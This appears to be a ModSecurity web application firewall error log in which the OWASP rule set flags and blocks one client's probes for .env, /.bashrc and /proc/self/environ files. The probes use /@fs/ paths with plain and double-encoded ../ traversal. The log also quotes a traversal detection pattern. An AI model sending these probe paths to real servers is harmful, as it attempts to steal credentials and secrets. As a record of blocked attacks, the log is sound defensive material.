[Mon Oct 26 07:05:05.137704 2026] [security2:error] [pid 3019671:tid 3019671] [client 34.39.164.1:35090] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.bashrc"] [unique_id "at8z4RS_7eBZ2SvQo609BwAAAAo"]
[Mon Oct 26 07:05:05.137728 2026] [security2:error] [pid 3019671:tid 3019671] [client 34.39.164.1:35090] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.bashrc"] [unique_id "at8z4RS_7eBZ2SvQo609BwAAAAo"]
[Mon Oct 26 07:05:05.138106 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at8z4f2f_7_KPo47JjIUagAAAAk"]
[Mon Oct 26 07:05:05.138380 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at8z4f2f_7_KPo47JjIUagAAAAk"]
[Mon Oct 26 07:05:05.138993 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at8z4Sz2IVlcktcA6K04WwAAABg"]
[Mon Oct 26 07:05:05.140501 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at8z4evTeiIeeTOEx2-3HAAAABQ"]
[Mon Oct 26 07:05:05.140863 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at8z4evTeiIeeTOEx2-3HAAAABQ"]
[Mon Oct 26 07:05:05.141057 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4csf6KX343046fT79QAAABM"]
[Mon Oct 26 07:05:05.141126 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at8z4evTeiIeeTOEx2-3HAAAABQ"]
[Mon Oct 26 07:05:05.141184 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4csf6KX343046fT79QAAABM"]
[Mon Oct 26 07:05:05.141610 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4csf6KX343046fT79QAAABM"]
[Mon Oct 26 07:05:05.142209 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4csf6KX343046fT79QAAABM"]
[Mon Oct 26 07:05:05.143425 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.39.164.1:35076] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at8z4X3wwcXP35BsOaDulwAAAAw"]
[Mon Oct 26 07:05:05.229226 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at8z4Sz2IVlcktcA6K04WwAAABg"]
[Mon Oct 26 07:05:05.229243 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.39.164.1:35076] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at8z4X3wwcXP35BsOaDulwAAAAw"]
[Mon Oct 26 07:05:05.229296 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at8z4Sz2IVlcktcA6K04WwAAABg"]
[Mon Oct 26 07:05:05.229316 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.39.164.1:35076] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at8z4X3wwcXP35BsOaDulwAAAAw"]
[Mon Oct 26 07:05:05.229377 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at8z4Sz2IVlcktcA6K04WwAAABg"]
[Mon Oct 26 07:05:05.229843 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at8z4Sz2IVlcktcA6K04WwAAABg"]
[Mon Oct 26 07:05:05.229853 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.39.164.1:35076] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at8z4X3wwcXP35BsOaDulwAAAAw"]
[Mon Oct 26 07:05:05.230177 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at8z4Sz2IVlcktcA6K04WwAAABg"]
[Mon Oct 26 07:05:05.230233 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.39.164.1:35076] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at8z4X3wwcXP35BsOaDulwAAAAw"]
[Mon Oct 26 07:05:05.330316 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at8z4f2f_7_KPo47JjIUawAAAAk"]
[Mon Oct 26 07:05:05.330634 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at8z4f2f_7_KPo47JjIUawAAAAk"]
[Mon Oct 26 07:05:05.330911 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at8z4f2f_7_KPo47JjIUawAAAAk"]
[Mon Oct 26 07:05:05.333788 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at8z4QPZVv3Il2lbVePvkgAAAAQ"]
[Mon Oct 26 07:05:05.334228 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at8z4QPZVv3Il2lbVePvkgAAAAQ"]
[Mon Oct 26 07:05:05.334479 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at8z4QPZVv3Il2lbVePvkgAAAAQ"]
[Mon Oct 26 07:05:05.344291 2026] [security2:error] [pid 3008498:tid 3008498] [client 34.39.164.1:47370] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at8z4XWyvchEwsg-8-hoKwAAAAs"]
[Mon Oct 26 07:05:05.344789 2026] [security2:error] [pid 3008498:tid 3008498] [client 34.39.164.1:47370] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at8z4XWyvchEwsg-8-hoKwAAAAs"]
[Mon Oct 26 07:05:05.345126 2026] [security2:error] [pid 3008498:tid 3008498] [client 34.39.164.1:47370] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at8z4XWyvchEwsg-8-hoKwAAAAs"]
[Mon Oct 26 07:05:05.401697 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at8z4Sz2IVlcktcA6K04XAAAABg"]
[Mon Oct 26 07:05:05.402268 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at8z4Sz2IVlcktcA6K04XAAAABg"]
[Mon Oct 26 07:05:05.402553 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at8z4Sz2IVlcktcA6K04XAAAABg"]
[Mon Oct 26 07:05:05.413685 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.39.164.1:35076] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at8z4X3wwcXP35BsOaDumAAAAAw"]
[Mon Oct 26 07:05:05.414219 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.39.164.1:35076] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at8z4X3wwcXP35BsOaDumAAAAAw"]
